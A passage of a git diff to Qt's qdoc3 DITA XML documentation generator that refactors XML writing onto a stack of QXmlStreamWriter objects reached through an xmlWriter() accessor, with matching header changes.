writer.writeAttribute("name","static"); - writer.writeAttribute("value","static"); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXFUNCTIONSTORAGECLASSSPECIFIERSTATIC); + xmlWriter().writeAttribute("name","static"); + xmlWriter().writeAttribute("value","static"); + xmlWriter().writeEndElement(); // } // not included: , if (fn->isConst()) { - writer.writeStartElement(CXXFUNCTIONCONST); - writer.writeAttribute("name","const"); - writer.writeAttribute("value","const"); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXFUNCTIONCONST); + xmlWriter().writeAttribute("name","const"); + xmlWriter().writeAttribute("value","const"); + xmlWriter().writeEndElement(); // } // not included: // virtualness() != FunctionNode::NonVirtual) { - writer.writeStartElement(CXXFUNCTIONVIRTUAL); - writer.writeAttribute("name","virtual"); - writer.writeAttribute("value","virtual"); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXFUNCTIONVIRTUAL); + xmlWriter().writeAttribute("name","virtual"); + xmlWriter().writeAttribute("value","virtual"); + xmlWriter().writeEndElement(); // if (fn->virtualness() == FunctionNode::PureVirtual) { - writer.writeStartElement(CXXFUNCTIONPUREVIRTUAL); - writer.writeAttribute("name","pure virtual"); - writer.writeAttribute("value","pure virtual"); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXFUNCTIONPUREVIRTUAL); + xmlWriter().writeAttribute("name","pure virtual"); + xmlWriter().writeAttribute("value","pure virtual"); + xmlWriter().writeEndElement(); // } } if (fn->name() == cn->name()) { - writer.writeStartElement(CXXFUNCTIONCONSTRUCTOR); - writer.writeAttribute("name","constructor"); - writer.writeAttribute("value","constructor"); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXFUNCTIONCONSTRUCTOR); + xmlWriter().writeAttribute("name","constructor"); + xmlWriter().writeAttribute("value","constructor"); + xmlWriter().writeEndElement(); // } else if (fn->name()[0] == QChar('~')) { - writer.writeStartElement(CXXFUNCTIONDESTRUCTOR); - writer.writeAttribute("name","destructor"); - writer.writeAttribute("value","destructor"); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXFUNCTIONDESTRUCTOR); + xmlWriter().writeAttribute("name","destructor"); + xmlWriter().writeAttribute("value","destructor"); + xmlWriter().writeEndElement(); // } else { - writer.writeStartElement(CXXFUNCTIONDECLAREDTYPE); - writer.writeCharacters(fn->returnType()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXFUNCTIONDECLAREDTYPE); + xmlWriter().writeCharacters(fn->returnType()); + xmlWriter().writeEndElement(); // } // not included: QString fq = fullQualification(fn); if (!fq.isEmpty()) { - writer.writeStartElement(CXXFUNCTIONSCOPEDNAME); - writer.writeCharacters(fq); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXFUNCTIONSCOPEDNAME); + xmlWriter().writeCharacters(fq); + xmlWriter().writeEndElement(); // } - writer.writeStartElement(CXXFUNCTIONPROTOTYPE); - writer.writeCharacters(fn->signature(true)); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXFUNCTIONPROTOTYPE); + xmlWriter().writeCharacters(fn->signature(true)); + xmlWriter().writeEndElement(); // QString fnl = fn->signature(false); int idx = fnl.indexOf(' '); @@ -4627,33 +4445,33 @@ void DitaXmlGenerator::writeFunctions(const Section& s, else ++idx; fnl = fn->parent()->name() + "::" + fnl.mid(idx); - writer.writeStartElement(CXXFUNCTIONNAMELOOKUP); - writer.writeCharacters(fnl); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXFUNCTIONNAMELOOKUP); + xmlWriter().writeCharacters(fnl); + xmlWriter().writeEndElement(); // if (fn->isReimp() && fn->reimplementedFrom() != 0) { FunctionNode* rfn = (FunctionNode*)fn->reimplementedFrom(); - writer.writeStartElement(CXXFUNCTIONREIMPLEMENTED); - writer.writeAttribute("href",rfn->ditaXmlHref()); - writer.writeCharacters(marker->plainFullName(rfn)); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXFUNCTIONREIMPLEMENTED); + xmlWriter().writeAttribute("href",rfn->ditaXmlHref()); + xmlWriter().writeCharacters(marker->plainFullName(rfn)); + xmlWriter().writeEndElement(); // } writeParameters(fn,marker); writeLocation(fn); - writer.writeEndElement(); // - writer.writeStartElement(APIDESC); + xmlWriter().writeEndElement(); // + xmlWriter().writeStartElement(APIDESC); if (!fn->doc().isEmpty()) { generateBody(fn, marker); // generateAlsoList(inner, marker); } - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // // not included: ,
    , or - writer.writeEndElement(); // - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // if (fn->metaness() == FunctionNode::Ctor || fn->metaness() == FunctionNode::Dtor || @@ -4671,33 +4489,33 @@ void DitaXmlGenerator::writeParameters(const FunctionNode* fn, CodeMarker* marke { const QList& parameters = fn->parameters(); if (!parameters.isEmpty()) { - writer.writeStartElement(CXXFUNCTIONPARAMETERS); + xmlWriter().writeStartElement(CXXFUNCTIONPARAMETERS); QList::ConstIterator p = parameters.begin(); while (p != parameters.end()) { - writer.writeStartElement(CXXFUNCTIONPARAMETER); - writer.writeStartElement(CXXFUNCTIONPARAMETERDECLAREDTYPE); - writer.writeCharacters((*p).leftType()); + xmlWriter().writeStartElement(CXXFUNCTIONPARAMETER); + xmlWriter().writeStartElement(CXXFUNCTIONPARAMETERDECLAREDTYPE); + xmlWriter().writeCharacters((*p).leftType()); if (!(*p).rightType().isEmpty()) - writer.writeCharacters((*p).rightType()); - writer.writeEndElement(); // - writer.writeStartElement(CXXFUNCTIONPARAMETERDECLARATIONNAME); - writer.writeCharacters((*p).name()); - writer.writeEndElement(); // + xmlWriter().writeCharacters((*p).rightType()); + xmlWriter().writeEndElement(); // + xmlWriter().writeStartElement(CXXFUNCTIONPARAMETERDECLARATIONNAME); + xmlWriter().writeCharacters((*p).name()); + xmlWriter().writeEndElement(); // // not included: if (!(*p).defaultValue().isEmpty()) { - writer.writeStartElement(CXXFUNCTIONPARAMETERDEFAULTVALUE); - writer.writeCharacters((*p).defaultValue()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXFUNCTIONPARAMETERDEFAULTVALUE); + xmlWriter().writeCharacters((*p).defaultValue()); + xmlWriter().writeEndElement(); // } // not included: - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // ++p; } - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } } @@ -4712,111 +4530,111 @@ void DitaXmlGenerator::writeEnumerations(const Section& s, while (m != s.members.end()) { if ((*m)->type() == Node::Enum) { const EnumNode* en = static_cast(*m); - writer.writeStartElement(CXXENUMERATION); - writer.writeAttribute("id",en->guid()); - writer.writeStartElement(APINAME); - writer.writeCharacters(en->name()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXENUMERATION); + xmlWriter().writeAttribute("id",en->guid()); + xmlWriter().writeStartElement(APINAME); + xmlWriter().writeCharacters(en->name()); + xmlWriter().writeEndElement(); // generateBrief(en,marker); // not included - writer.writeStartElement(CXXENUMERATIONDETAIL); - writer.writeStartElement(CXXENUMERATIONDEFINITION); - writer.writeStartElement(CXXENUMERATIONACCESSSPECIFIER); - writer.writeAttribute("value",en->accessString()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXENUMERATIONDETAIL); + xmlWriter().writeStartElement(CXXENUMERATIONDEFINITION); + xmlWriter().writeStartElement(CXXENUMERATIONACCESSSPECIFIER); + xmlWriter().writeAttribute("value",en->accessString()); + xmlWriter().writeEndElement(); // QString fq = fullQualification(en); if (!fq.isEmpty()) { - writer.writeStartElement(CXXENUMERATIONSCOPEDNAME); - writer.writeCharacters(fq); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXENUMERATIONSCOPEDNAME); + xmlWriter().writeCharacters(fq); + xmlWriter().writeEndElement(); // } const QList& items = en->items(); if (!items.isEmpty()) { - writer.writeStartElement(CXXENUMERATIONPROTOTYPE); - writer.writeCharacters(en->name()); - writer.writeCharacters(" = { "); + xmlWriter().writeStartElement(CXXENUMERATIONPROTOTYPE); + xmlWriter().writeCharacters(en->name()); + xmlWriter().writeCharacters(" = { "); QList::ConstIterator i = items.begin(); while (i != items.end()) { - writer.writeCharacters((*i).name()); + xmlWriter().writeCharacters((*i).name()); if (!(*i).value().isEmpty()) { - writer.writeCharacters(" = "); - writer.writeCharacters((*i).value()); + xmlWriter().writeCharacters(" = "); + xmlWriter().writeCharacters((*i).value()); } ++i; if (i != items.end()) - writer.writeCharacters(", "); + xmlWriter().writeCharacters(", "); } - writer.writeCharacters(" }"); - writer.writeEndElement(); // + xmlWriter().writeCharacters(" }"); + xmlWriter().writeEndElement(); // } - writer.writeStartElement(CXXENUMERATIONNAMELOOKUP); - writer.writeCharacters(en->parent()->name() + "::" + en->name()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXENUMERATIONNAMELOOKUP); + xmlWriter().writeCharacters(en->parent()->name() + "::" + en->name()); + xmlWriter().writeEndElement(); // // not included: if (!items.isEmpty()) { - writer.writeStartElement(CXXENUMERATORS); + xmlWriter().writeStartElement(CXXENUMERATORS); QList::ConstIterator i = items.begin(); while (i != items.end()) { - writer.writeStartElement(CXXENUMERATOR); - writer.writeStartElement(APINAME); - writer.writeCharacters((*i).name()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXENUMERATOR); + xmlWriter().writeStartElement(APINAME); + xmlWriter().writeCharacters((*i).name()); + xmlWriter().writeEndElement(); // QString fq = fullQualification(en->parent()); if (!fq.isEmpty()) { - writer.writeStartElement(CXXENUMERATORSCOPEDNAME); - writer.writeCharacters(fq + "::" + (*i).name()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXENUMERATORSCOPEDNAME); + xmlWriter().writeCharacters(fq + "::" + (*i).name()); + xmlWriter().writeEndElement(); // } - writer.writeStartElement(CXXENUMERATORPROTOTYPE); - writer.writeCharacters((*i).name()); - writer.writeEndElement(); // - writer.writeStartElement(CXXENUMERATORNAMELOOKUP); - writer.writeCharacters(en->parent()->name() + "::" + (*i).name()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXENUMERATORPROTOTYPE); + xmlWriter().writeCharacters((*i).name()); + xmlWriter().writeEndElement(); // + xmlWriter().writeStartElement(CXXENUMERATORNAMELOOKUP); + xmlWriter().writeCharacters(en->parent()->name() + "::" + (*i).name()); + xmlWriter().writeEndElement(); // if (!(*i).value().isEmpty()) { - writer.writeStartElement(CXXENUMERATORINITIALISER); - writer.writeAttribute("value", (*i).value()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXENUMERATORINITIALISER); + xmlWriter().writeAttribute("value", (*i).value()); + xmlWriter().writeEndElement(); // } // not included: if (!(*i).text().isEmpty()) { - writer.writeStartElement(APIDESC); + xmlWriter().writeStartElement(APIDESC); generateText((*i).text(), en, marker); - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // ++i; } - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } writeLocation(en); - writer.writeEndElement(); // - writer.writeStartElement(APIDESC); + xmlWriter().writeEndElement(); // + xmlWriter().writeStartElement(APIDESC); if (!en->doc().isEmpty()) { generateBody(en, marker); } - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // // not included: ,
    , or - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // // not included: - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } ++m; } @@ -4833,55 +4651,55 @@ void DitaXmlGenerator::writeTypedefs(const Section& s, while (m != s.members.end()) { if ((*m)->type() == Node::Typedef) { const TypedefNode* tn = static_cast(*m); - writer.writeStartElement(CXXTYPEDEF); - writer.writeAttribute("id",tn->guid()); - writer.writeStartElement(APINAME); - writer.writeCharacters(tn->name()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXTYPEDEF); + xmlWriter().writeAttribute("id",tn->guid()); + xmlWriter().writeStartElement(APINAME); + xmlWriter().writeCharacters(tn->name()); + xmlWriter().writeEndElement(); // generateBrief(tn,marker); // not included: - writer.writeStartElement(CXXTYPEDEFDETAIL); - writer.writeStartElement(CXXTYPEDEFDEFINITION); - writer.writeStartElement(CXXTYPEDEFACCESSSPECIFIER); - writer.writeAttribute("value",tn->accessString()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXTYPEDEFDETAIL); + xmlWriter().writeStartElement(CXXTYPEDEFDEFINITION); + xmlWriter().writeStartElement(CXXTYPEDEFACCESSSPECIFIER); + xmlWriter().writeAttribute("value",tn->accessString()); + xmlWriter().writeEndElement(); // // not included: QString fq = fullQualification(tn); if (!fq.isEmpty()) { - writer.writeStartElement(CXXTYPEDEFSCOPEDNAME); - writer.writeCharacters(fq); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXTYPEDEFSCOPEDNAME); + xmlWriter().writeCharacters(fq); + xmlWriter().writeEndElement(); // } // not included: - writer.writeStartElement(CXXTYPEDEFNAMELOOKUP); - writer.writeCharacters(tn->parent()->name() + "::" + tn->name()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXTYPEDEFNAMELOOKUP); + xmlWriter().writeCharacters(tn->parent()->name() + "::" + tn->name()); + xmlWriter().writeEndElement(); // // not included: writeLocation(tn); - writer.writeEndElement(); // - writer.writeStartElement(APIDESC); + xmlWriter().writeEndElement(); // + xmlWriter().writeStartElement(APIDESC); if (!tn->doc().isEmpty()) { generateBody(tn, marker); } - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // // not included: ,
    , or - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // // not included: - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } ++m; } @@ -4899,20 +4717,20 @@ void DitaXmlGenerator::writeProperties(const Section& s, while (m != s.members.end()) { if ((*m)->type() == Node::Property) { const PropertyNode* pn = static_cast(*m); - writer.writeStartElement(CXXVARIABLE); - writer.writeAttribute("id",pn->guid()); - writer.writeStartElement(APINAME); - writer.writeCharacters(pn->name()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXVARIABLE); + xmlWriter().writeAttribute("id",pn->guid()); + xmlWriter().writeStartElement(APINAME); + xmlWriter().writeCharacters(pn->name()); + xmlWriter().writeEndElement(); // generateBrief(pn,marker); // not included: - writer.writeStartElement(CXXVARIABLEDETAIL); - writer.writeStartElement(CXXVARIABLEDEFINITION); - writer.writeStartElement(CXXVARIABLEACCESSSPECIFIER); - writer.writeAttribute("value",pn->accessString()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXVARIABLEDETAIL); + xmlWriter().writeStartElement(CXXVARIABLEDEFINITION); + xmlWriter().writeStartElement(CXXVARIABLEACCESSSPECIFIER); + xmlWriter().writeAttribute("value",pn->accessString()); + xmlWriter().writeEndElement(); // // not included: , // , @@ -4920,84 +4738,84 @@ void DitaXmlGenerator::writeProperties(const Section& s, // , if (!pn->qualifiedDataType().isEmpty()) { - writer.writeStartElement(CXXVARIABLEDECLAREDTYPE); - writer.writeCharacters(pn->qualifiedDataType()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXVARIABLEDECLAREDTYPE); + xmlWriter().writeCharacters(pn->qualifiedDataType()); + xmlWriter().writeEndElement(); // } QString fq = fullQualification(pn); if (!fq.isEmpty()) { - writer.writeStartElement(CXXVARIABLESCOPEDNAME); - writer.writeCharacters(fq); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXVARIABLESCOPEDNAME); + xmlWriter().writeCharacters(fq); + xmlWriter().writeEndElement(); // } - writer.writeStartElement(CXXVARIABLEPROTOTYPE); - writer.writeCharacters("Q_PROPERTY("); - writer.writeCharacters(pn->qualifiedDataType()); - writer.writeCharacters(" "); - writer.writeCharacters(pn->name()); + xmlWriter().writeStartElement(CXXVARIABLEPROTOTYPE); + xmlWriter().writeCharacters("Q_PROPERTY("); + xmlWriter().writeCharacters(pn->qualifiedDataType()); + xmlWriter().writeCharacters(" "); + xmlWriter().writeCharacters(pn->name()); writePropertyParameter("READ",pn->getters()); writePropertyParameter("WRITE",pn->setters()); writePropertyParameter("RESET",pn->resetters()); writePropertyParameter("NOTIFY",pn->notifiers()); if (pn->isDesignable() != pn->designableDefault()) { - writer.writeCharacters(" DESIGNABLE "); + xmlWriter().writeCharacters(" DESIGNABLE "); if (!pn->runtimeDesignabilityFunction().isEmpty()) - writer.writeCharacters(pn->runtimeDesignabilityFunction()); + xmlWriter().writeCharacters(pn->runtimeDesignabilityFunction()); else - writer.writeCharacters(pn->isDesignable() ? "true" : "false"); + xmlWriter().writeCharacters(pn->isDesignable() ? "true" : "false"); } if (pn->isScriptable() != pn->scriptableDefault()) { - writer.writeCharacters(" SCRIPTABLE "); + xmlWriter().writeCharacters(" SCRIPTABLE "); if (!pn->runtimeScriptabilityFunction().isEmpty()) - writer.writeCharacters(pn->runtimeScriptabilityFunction()); + xmlWriter().writeCharacters(pn->runtimeScriptabilityFunction()); else - writer.writeCharacters(pn->isScriptable() ? "true" : "false"); + xmlWriter().writeCharacters(pn->isScriptable() ? "true" : "false"); } if (pn->isWritable() != pn->writableDefault()) { - writer.writeCharacters(" STORED "); - writer.writeCharacters(pn->isStored() ? "true" : "false"); + xmlWriter().writeCharacters(" STORED "); + xmlWriter().writeCharacters(pn->isStored() ? "true" : "false"); } if (pn->isUser() != pn->userDefault()) { - writer.writeCharacters(" USER "); - writer.writeCharacters(pn->isUser() ? "true" : "false"); + xmlWriter().writeCharacters(" USER "); + xmlWriter().writeCharacters(pn->isUser() ? "true" : "false"); } if (pn->isConstant()) - writer.writeCharacters(" CONSTANT"); + xmlWriter().writeCharacters(" CONSTANT"); if (pn->isFinal()) - writer.writeCharacters(" FINAL"); - writer.writeCharacters(")"); - writer.writeEndElement(); // + xmlWriter().writeCharacters(" FINAL"); + xmlWriter().writeCharacters(")"); + xmlWriter().writeEndElement(); // - writer.writeStartElement(CXXVARIABLENAMELOOKUP); - writer.writeCharacters(pn->parent()->name() + "::" + pn->name()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXVARIABLENAMELOOKUP); + xmlWriter().writeCharacters(pn->parent()->name() + "::" + pn->name()); + xmlWriter().writeEndElement(); // if (pn->overriddenFrom() != 0) { PropertyNode* opn = (PropertyNode*)pn->overriddenFrom(); - writer.writeStartElement(CXXVARIABLEREIMPLEMENTED); - writer.writeAttribute("href",opn->ditaXmlHref()); - writer.writeCharacters(marker->plainFullName(opn)); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXVARIABLEREIMPLEMENTED); + xmlWriter().writeAttribute("href",opn->ditaXmlHref()); + xmlWriter().writeCharacters(marker->plainFullName(opn)); + xmlWriter().writeEndElement(); // } writeLocation(pn); - writer.writeEndElement(); // - writer.writeStartElement(APIDESC); + xmlWriter().writeEndElement(); // + xmlWriter().writeStartElement(APIDESC); if (!pn->doc().isEmpty()) { generateBody(pn, marker); } - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // // not included: ,
    , or - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // // not included: - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } ++m; } @@ -5014,77 +4832,77 @@ void DitaXmlGenerator::writeDataMembers(const Section& s, while (m != s.members.end()) { if ((*m)->type() == Node::Variable) { const VariableNode* vn = static_cast(*m); - writer.writeStartElement(CXXVARIABLE); - writer.writeAttribute("id",vn->guid()); - writer.writeStartElement(APINAME); - writer.writeCharacters(vn->name()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXVARIABLE); + xmlWriter().writeAttribute("id",vn->guid()); + xmlWriter().writeStartElement(APINAME); + xmlWriter().writeCharacters(vn->name()); + xmlWriter().writeEndElement(); // generateBrief(vn,marker); // not included: - writer.writeStartElement(CXXVARIABLEDETAIL); - writer.writeStartElement(CXXVARIABLEDEFINITION); - writer.writeStartElement(CXXVARIABLEACCESSSPECIFIER); - writer.writeAttribute("value",vn->accessString()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXVARIABLEDETAIL); + xmlWriter().writeStartElement(CXXVARIABLEDEFINITION); + xmlWriter().writeStartElement(CXXVARIABLEACCESSSPECIFIER); + xmlWriter().writeAttribute("value",vn->accessString()); + xmlWriter().writeEndElement(); // // not included: if (vn->isStatic()) { - writer.writeStartElement(CXXVARIABLESTORAGECLASSSPECIFIERSTATIC); - writer.writeAttribute("name","static"); - writer.writeAttribute("value","static"); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXVARIABLESTORAGECLASSSPECIFIERSTATIC); + xmlWriter().writeAttribute("name","static"); + xmlWriter().writeAttribute("value","static"); + xmlWriter().writeEndElement(); // } // not included: , // , - writer.writeStartElement(CXXVARIABLEDECLAREDTYPE); - writer.writeCharacters(vn->leftType()); + xmlWriter().writeStartElement(CXXVARIABLEDECLAREDTYPE); + xmlWriter().writeCharacters(vn->leftType()); if (!vn->rightType().isEmpty()) - writer.writeCharacters(vn->rightType()); - writer.writeEndElement(); // + xmlWriter().writeCharacters(vn->rightType()); + xmlWriter().writeEndElement(); // QString fq = fullQualification(vn); if (!fq.isEmpty()) { - writer.writeStartElement(CXXVARIABLESCOPEDNAME); - writer.writeCharacters(fq); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXVARIABLESCOPEDNAME); + xmlWriter().writeCharacters(fq); + xmlWriter().writeEndElement(); // } - writer.writeStartElement(CXXVARIABLEPROTOTYPE); - writer.writeCharacters(vn->leftType() + " "); - //writer.writeCharacters(vn->parent()->name() + "::" + vn->name()); - writer.writeCharacters(vn->name()); + xmlWriter().writeStartElement(CXXVARIABLEPROTOTYPE); + xmlWriter().writeCharacters(vn->leftType() + " "); + //xmlWriter().writeCharacters(vn->parent()->name() + "::" + vn->name()); + xmlWriter().writeCharacters(vn->name()); if (!vn->rightType().isEmpty()) - writer.writeCharacters(vn->rightType()); - writer.writeEndElement(); // + xmlWriter().writeCharacters(vn->rightType()); + xmlWriter().writeEndElement(); // - writer.writeStartElement(CXXVARIABLENAMELOOKUP); - writer.writeCharacters(vn->parent()->name() + "::" + vn->name()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXVARIABLENAMELOOKUP); + xmlWriter().writeCharacters(vn->parent()->name() + "::" + vn->name()); + xmlWriter().writeEndElement(); // // not included: writeLocation(vn); - writer.writeEndElement(); // - writer.writeStartElement(APIDESC); + xmlWriter().writeEndElement(); // + xmlWriter().writeStartElement(APIDESC); if (!vn->doc().isEmpty()) { generateBody(vn, marker); } - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // // not included: ,
    , - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // // not included: - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } ++m; } @@ -5102,88 +4920,88 @@ void DitaXmlGenerator::writeMacros(const Section& s, if ((*m)->type() == Node::Function) { const FunctionNode* fn = static_cast(*m); if (fn->isMacro()) { - writer.writeStartElement(CXXDEFINE); - writer.writeAttribute("id",fn->guid()); - writer.writeStartElement(APINAME); - writer.writeCharacters(fn->name()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXDEFINE); + xmlWriter().writeAttribute("id",fn->guid()); + xmlWriter().writeStartElement(APINAME); + xmlWriter().writeCharacters(fn->name()); + xmlWriter().writeEndElement(); // generateBrief(fn,marker); // not included: - writer.writeStartElement(CXXDEFINEDETAIL); - writer.writeStartElement(CXXDEFINEDEFINITION); - writer.writeStartElement(CXXDEFINEACCESSSPECIFIER); - writer.writeAttribute("value",fn->accessString()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXDEFINEDETAIL); + xmlWriter().writeStartElement(CXXDEFINEDEFINITION); + xmlWriter().writeStartElement(CXXDEFINEACCESSSPECIFIER); + xmlWriter().writeAttribute("value",fn->accessString()); + xmlWriter().writeEndElement(); // - writer.writeStartElement(CXXDEFINEPROTOTYPE); - writer.writeCharacters("#define "); - writer.writeCharacters(fn->name()); + xmlWriter().writeStartElement(CXXDEFINEPROTOTYPE); + xmlWriter().writeCharacters("#define "); + xmlWriter().writeCharacters(fn->name()); if (fn->metaness() == FunctionNode::MacroWithParams) { QStringList params = fn->parameterNames(); if (!params.isEmpty()) { - writer.writeCharacters("("); + xmlWriter().writeCharacters("("); for (int i = 0; i < params.size(); ++i) { if (params[i].isEmpty()) - writer.writeCharacters("..."); + xmlWriter().writeCharacters("..."); else - writer.writeCharacters(params[i]); + xmlWriter().writeCharacters(params[i]); if ((i+1) < params.size()) - writer.writeCharacters(", "); + xmlWriter().writeCharacters(", "); } - writer.writeCharacters(")"); + xmlWriter().writeCharacters(")"); } } - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // - writer.writeStartElement(CXXDEFINENAMELOOKUP); - writer.writeCharacters(fn->name()); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXDEFINENAMELOOKUP); + xmlWriter().writeCharacters(fn->name()); + xmlWriter().writeEndElement(); // if (fn->reimplementedFrom() != 0) { FunctionNode* rfn = (FunctionNode*)fn->reimplementedFrom(); - writer.writeStartElement(CXXDEFINEREIMPLEMENTED); - writer.writeAttribute("href",rfn->ditaXmlHref()); - writer.writeCharacters(marker->plainFullName(rfn)); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXDEFINEREIMPLEMENTED); + xmlWriter().writeAttribute("href",rfn->ditaXmlHref()); + xmlWriter().writeCharacters(marker->plainFullName(rfn)); + xmlWriter().writeEndElement(); // } if (fn->metaness() == FunctionNode::MacroWithParams) { QStringList params = fn->parameterNames(); if (!params.isEmpty()) { - writer.writeStartElement(CXXDEFINEPARAMETERS); + xmlWriter().writeStartElement(CXXDEFINEPARAMETERS); for (int i = 0; i < params.size(); ++i) { - writer.writeStartElement(CXXDEFINEPARAMETER); - writer.writeStartElement(CXXDEFINEPARAMETERDECLARATIONNAME); - writer.writeCharacters(params[i]); - writer.writeEndElement(); // + xmlWriter().writeStartElement(CXXDEFINEPARAMETER); + xmlWriter().writeStartElement(CXXDEFINEPARAMETERDECLARATIONNAME); + xmlWriter().writeCharacters(params[i]); + xmlWriter().writeEndElement(); // // not included: - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } } writeLocation(fn); - writer.writeEndElement(); // - writer.writeStartElement(APIDESC); + xmlWriter().writeEndElement(); // + xmlWriter().writeStartElement(APIDESC); if (!fn->doc().isEmpty()) { generateBody(fn, marker); } - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // // not included: ,
    , or - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // // not included: - writer.writeEndElement(); // + xmlWriter().writeEndElement(); // } } ++m; @@ -5199,14 +5017,51 @@ void DitaXmlGenerator::writePropertyParameter(const QString& tag, const NodeList { NodeList::const_iterator n = nlist.begin(); while (n != nlist.end()) { - writer.writeCharacters(" "); - writer.writeCharacters(tag); - writer.writeCharacters(" "); - writer.writeCharacters((*n)->name()); + xmlWriter().writeCharacters(" "); + xmlWriter().writeCharacters(tag); + xmlWriter().writeCharacters(" "); + xmlWriter().writeCharacters((*n)->name()); ++n; } } +/*! + Calls beginSubPage() in the base class to open the file. + Then creates a new XML stream writer using the IO device + from opened file and pushes the XML writer onto a stackj. + Creates the file named \a fileName in the output directory. + Attaches a QTextStream to the created file, which is written + to all over the place using out(). Finally, it sets some + parameters in the XML writer and calls writeStartDocument(). + */ +void DitaXmlGenerator::beginSubPage(const Location& location, + const QString& fileName) +{ + PageGenerator::beginSubPage(location,fileName); + QXmlStreamWriter* writer = new QXmlStreamWriter(out().device()); + xmlWriterStack.push(writer); + writer->setAutoFormatting(true); + writer->setAutoFormattingIndent(4); + writer->writeStartDocument(); +} + +/*! + Calls writeEndDocument() and then pops the XML stream writer + off the stack and deletes it. Then it calls endSubPage() in + the base class to close the device. + */ +void DitaXmlGenerator::endSubPage() +{ + xmlWriter().writeEndDocument(); + delete xmlWriterStack.pop(); + PageGenerator::endSubPage(); +} + +QXmlStreamWriter& DitaXmlGenerator::xmlWriter() +{ + return *xmlWriterStack.top(); +} + QT_END_NAMESPACE #ifdef TO_BE_INCLUDED_IN_API_DESC @@ -5305,27 +5160,19 @@ QT_END_NAMESPACE out() << "

    " << protectEnc(name) << "

    \n"; generateSection(s->reimpMembers, inner, marker, CodeMarker::Summary); } - - if (!s->inherited.isEmpty()) { - out() << "
      \n"; - generateSectionInheritedList(*s, inner, marker, true); - out() << "
    \n"; - } + generateSectionInheritedList(*s, inner, marker, true); } ++s; } if (needOtherSection) { - out() << "

    Additional Inherited Members

    \n" - "
      \n"; - + out() << "

      Additional Inherited Members

      \n"; s = sections.begin(); while (s != sections.end()) { - if (s->members.isEmpty() && !s->inherited.isEmpty()) + if (s->members.isEmpty()) generateSectionInheritedList(*s, inner, marker); ++s; } - out() << "
    \n"; } out() << "\n"; diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index dad1c6f..bd78e93 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -150,7 +150,7 @@ class DitaXmlGenerator : public PageGenerator void generateBreadCrumbs(const QString& title, const Node* node, CodeMarker* marker); - void generateHeader(const Node* node); + void generateHeader(const Node* node, const QString& name); void generateTitle(const QString& title, const Text& subTitle, SubTitleSize subTitleSize, @@ -184,10 +184,7 @@ class DitaXmlGenerator : public PageGenerator void generateFunctionIndex(const Node* relative, CodeMarker* marker); void generateLegaleseList(const Node* relative, CodeMarker* marker); void generateOverviewList(const Node* relative, CodeMarker* marker); - void generateSectionList(const Section& section, - const Node* relative, - CodeMarker* marker, - CodeMarker::SynopsisStyle style); + #ifdef QDOC_QML void generateQmlSummary(const Section& section, const Node* relative, @@ -215,8 +212,7 @@ class DitaXmlGenerator : public PageGenerator 